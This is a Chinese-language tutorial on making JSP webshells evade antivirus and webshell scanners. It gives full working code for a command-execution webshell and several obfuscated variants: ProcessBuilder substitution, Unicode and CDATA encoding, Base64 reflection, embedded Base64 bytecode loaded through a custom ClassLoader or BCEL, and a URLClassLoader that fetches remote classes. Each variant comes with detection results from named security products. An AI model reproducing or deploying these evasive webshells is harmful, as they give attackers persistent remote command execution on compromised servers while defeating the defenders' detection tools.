1 认识Webshell
创建一个JSP文件:
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page language="java" pageEncoding="utf-8" %><%String cmd = request.getParameter("cmd");Process process = Runtime.getRuntime().exec(cmd);InputStream is = process.getInputStream();BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));String r = null;while((r = bufferedReader.readLine())!=null){response.getWriter().println(r);}
%>
Tomcat运行
这就是一个典型的webshell,但这个webshell的各种特征已经被安全检测平台记录,很容易识别出来。
【virustotal】
【D盾】
【shellpub】
接下来进行免杀,免杀就是将这些被识别的特征进行替换,绕过,混淆和干扰。
2 基础免杀
2.1 替换敏感函数
Runtime.getRuntime().exec(cmd)其实最终调用的是ProcessBuilder这个函数,因此我们可以直接利用ProcessBuilder来替换Runtime.getRuntime().exec(cmd),从而绕过正则表达式检测。
(1)新的JSP文件
(2)运行测试
(3)安全检测
【virustotal-未识别】
【D盾-未识别】
【shellpub-识别】
2.2 BeansExpression免杀
(1)JSP
(2)运行测试
(3)检测结果
【shellpub-未识别】
【D盾-未识别】
【火绒-识别】
3 编码免杀
3.1 UNICODE编码
(1)JSP文件
编码网址:https://3gmfw.cn/tools/unicodebianmazhuanhuanqi/
编码后内容会存在 \ua ,需要手动删除,负责无法正常运行
(2)检测结果
【shellpub-识别】
【D盾-识别】
【火绒-未识别】
3.2 CDTAT
(1)JSPX特性
jspx是JSP 2.0中的一项重要的功能提升,jspx其实就是以xml语法来书写jsp的文件。
JSPX需要将jsp中不符合XML规范的tag进行替换,如:
<%@ include .. %> <jsp:directive.include .. />
<%@ page .. %> <jsp:directive.page .. />
<%= ..%> <jsp:expression> .. </jsp:expression>
<% ..%> <jsp:scriptlet> .. </jsp:scriptlet>
(2)JSP文件
检测结果-均可检出
(3)CDTAT特性,<![CDATA[与]]>只要能配对就相互抵消,其他不变
(4)检测结果
【shellpub-识别】
【D盾-未识别】
【火绒-未识别】
(5)HTML
JSPX可以识别html编码
注意:注意:含有CDATA的内容是不能进行html实体编码的,反之html实体编码后的内容也不能插入CDATA,否则无法执行
编码网站:https://www.qqxiuzi.cn/bianma/zifushiti.php
4 反射免杀
4.1 基础反射
(1)JSP文件
(2)查杀结果
工具 | shellhub | D盾 | 火绒 |
结果 | 识别 | 识别 | 识别 |
4.2 优化
反射中的明显特征如java.lang.Runtime,getRuntime,exec这些敏感内容,都是字符串形式输入,由此我们能操作的空间就很大了。
(1)BASE64加密
检测结果
工具 | shellhub | D盾 | 火绒 |
结果 | 识别 | 识别 | 未识别 |
(2)getDeclaredMethod替换getMethod
检测结果
工具 | shellhub | D盾 |
结果 | 识别 | 识别 |
(3)经过测试某盾查杀的是当存在反射函数又存在Process类的getInputStream方法时会被查杀
检测结果
工具 | shellhub | D盾 |
结果 | 识别 | 未识别 |
5 字节码免杀
5.1 生成字节码
(1)JAVAC生成字节码
编写程序加载class
(2)javassist生成字节码
import javassist.*;import java.io.IOException;
import java.util.Base64;public class test2 {public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {ClassPool classPool = ClassPool.getDefault();CtClass cc1 = classPool.makeClass("com.demo2.shell");CtConstructor cons = new CtConstructor(new CtClass[]{},cc1);cons.setBody("{}");String runCode1="{}";cons.insertBefore((runCode1));cc1.addConstructor(cons);CtMethod cm2 = new CtMethod(ClassPool.getDefault().get("java.lang.String"), "runs", new CtClass[]{classPool.get("java.lang.String")}, cc1);cm2.setModifiers(Modifier.PUBLIC);cm2.setBody("{ Process process = Runtime.getRuntime().exec($1);\n" +" java.io.InputStream is = process.getInputStream();\n" +" java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));\n" +" String r = \"\";\n" +" String s = \"\";\n" +" while((r = bufferedReader.readLine())!=null){\n" +" s += r;\n" +" }\n" +" return s;}");cc1.addMethod(cm2);System.out.println(new String(Base64.getEncoder().encode(cc1.toBytecode())));}
}
(3)ASM生成字节码
package demo2;import jdk.internal.org.objectweb.asm.ClassWriter;
import jdk.internal.org.objectweb.asm.MethodVisitor;
import java.util.Base64;
import static jdk.internal.org.objectweb.asm.Opcodes.*;public class test3 {public static void main(String[] args){ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);cw.visit(V1_8, ACC_PUBLIC, "Shell", null, "java/lang/Object", null);MethodVisitor mw = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);mw.visitVarInsn(ALOAD, 0);mw.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V",false);mw.visitInsn(RETURN);mw.visitMaxs(1, 1);mw.visitEnd();MethodVisitor mw2 = cw.visitMethod(ACC_PUBLIC, "runs","(Ljava/lang/String;)Ljava/lang/Process;", null, null);mw2.visitCode();mw2.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime","()Ljava/lang/Runtime;",false);mw2.visitVarInsn(ALOAD,1);mw2.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);mw2.visitInsn(ARETURN);mw2.visitMaxs(10, 3);mw2.visitEnd();byte[] code = cw.toByteArray();System.out.println(new String(Base64.getEncoder().encode(code)));}
5.2 Classloader加载字节码
加载的类名要与class对应上。
(1)JSP文件
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%ClassLoader loader = new ClassLoader() {@Overridepublic Class<?> loadClass(String name) throws ClassNotFoundException {if(name.contains("demo2.shell")){return findClass(name);}return super.loadClass(name);}@Overrideprotected Class<?> findClass(String name) throws ClassNotFoundException {try {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAQwoAEAAgCgAhACIKACEAIwoAJAAlBwAmBwAnCgAGACgKAAUAKQgAKgoABQArBwAsCgALACAKAAsALQoACwAuBwAvBwAwAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABHJ1bnMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADEHADIHADMHACYBAApFeGNlcHRpb25zBwA0AQAKU291cmNlRmlsZQEACnNoZWxsLmphdmEMABEAEgcANQwANgA3DAA4ADkHADIMADoAOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAARADwMABEAPQEAAAwAPgA/AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAEAAQQwAQgA/AQALZGVtbzIvc2hlbGwBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcAIQAPABAAAAAAAAIAAQARABIAAQATAAAAHQABAAEAAAAFKrcAAbEAAAABABQAAAAGAAEAAAAIAAkAFQAWAAIAEwAAAKEABQAGAAAAS7gAAiq2AANMK7YABE27AAVZuwAGWSy3AAe3AAhOEgk6BBIJOgUttgAKWToExgAcuwALWbcADBkFtgANGQS2AA22AA46Baf/4BkFsAAAAAIAFAAAACIACAAAAAsACAAMAA0ADQAdAA4AIQAPACUAEAAvABEASAATABcAAAAcAAL/ACUABgcAGAcAGQcAGgcAGwcAGAcAGAAAIgAcAAAABAABAB0AAQAeAAAAAgAf");PermissionCollection pc = new Permissions();pc.add(new AllPermission());ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);} catch (Exception e) {e.printStackTrace();}return super.findClass(name);}};
String cmd = request.getParameter("cmd");Class<?> shell = loader.loadClass("demo2.shell");Object object = shell.newInstance();Method method = shell.getMethod("runs",String.class);Object o = method.invoke(object, cmd);InputStream is = new ByteArrayInputStream(o.toString().getBytes());BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));String r = "";String s = "";while((r = bufferedReader.readLine())!=null){s += r;}response.getWriter().println(s);%>
(2)运行
(3)检测结果
工具 | shellhub | D盾 | 火绒 |
结果 | 识别 | 未识别 | 未识别 |
5.3 BCEL字节码免杀
Apache Commons BCEL被包含在了JDK的原生库中,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API用于处理字节码,但是com.sun.org.apache.bcel.internal.util.ClassLoader这个类加载器由于安全问题,在JDK7以上版本被移除,导致BCEL字节码的利用变得很局限。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="com.sun.org.apache.xml.internal.security.utils.Base64" %>
<%@ page import="com.sun.org.apache.bcel.internal.classfile.Utility" %>
<%byte[] bytes = Base64.decode("yv66vgAAADQAQwoAEAAgCgAhACIKACEAIwoAJAAlBwAmBwAnCgAGACgKAAUAKQgAKgoABQArBwAsCgALACAKAAsALQoACwAuBwAvBwAwAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABHJ1bnMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADEHADIHADMHACYBAApFeGNlcHRpb25zBwA0AQAKU291cmNlRmlsZQEACnNoZWxsLmphdmEMABEAEgcANQwANgA3DAA4ADkHADIMADoAOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAARADwMABEAPQEAAAwAPgA/AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAEAAQQwAQgA/AQALZGVtbzIvc2hlbGwBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcAIQAPABAAAAAAAAIAAQARABIAAQATAAAAHQABAAEAAAAFKrcAAbEAAAABABQAAAAGAAEAAAAIAAkAFQAWAAIAEwAAAKEABQAGAAAAS7gAAiq2AANMK7YABE27AAVZuwAGWSy3AAe3AAhOEgk6BBIJOgUttgAKWToExgAcuwALWbcADBkFtgANGQS2AA22AA46Baf/4BkFsAAAAAIAFAAAACIACAAAAAsACAAMAA0ADQAdAA4AIQAPACUAEAAvABEASAATABcAAAAcAAL/ACUABgcAGAcAGQcAGgcAGwcAGAcAGAAAIgAcAAAABAABAB0AAQAeAAAAAgAf");String code = Utility.encode(bytes, true);String bcelCode = "$$BCEL$$" + code;com.sun.org.apache.bcel.internal.util.ClassLoader bcelClassLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();Class<?> shell = bcelClassLoader.loadClass(bcelCode);Object object = shell.newInstance();Method dm = shell.getDeclaredMethod("runs",String.class);String cmd = request.getParameter("cmd");response.getWriter().println(dm.invoke(object, cmd));
%>
检测结果
工具 | shellhub | D盾 | 火绒 |
结果 | 识别 | 未识别 | 未识别 |
5.4 URLClassLoader加载
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%String cmd = request.getParameter("cmd");URL url = new URL("http://127.0.0.1:8000/");URLClassLoader classLoader = new URLClassLoader(new URL[]{url});System.out.println("父类加载器:" + classLoader.getParent()); // 默认父类加载器是系统类加载器Class shell = classLoader.loadClass("demo2.shell");Object object = shell.newInstance();Method dm = shell.getDeclaredMethod("runs",String.class);Object invoke = dm.invoke(object, cmd);response.getWriter().println(invoke);%>
服务端:
第一步:在一个文件夹中使用python开启一个http服务python -m http.server
第二步:将编译好的class文件,根据全限定类名创建相应的文件夹,并导入class文件
检测结果
工具 | shellhub | D盾 | 火绒 |
结果 | 未识别 | 未识别 | 未识别 |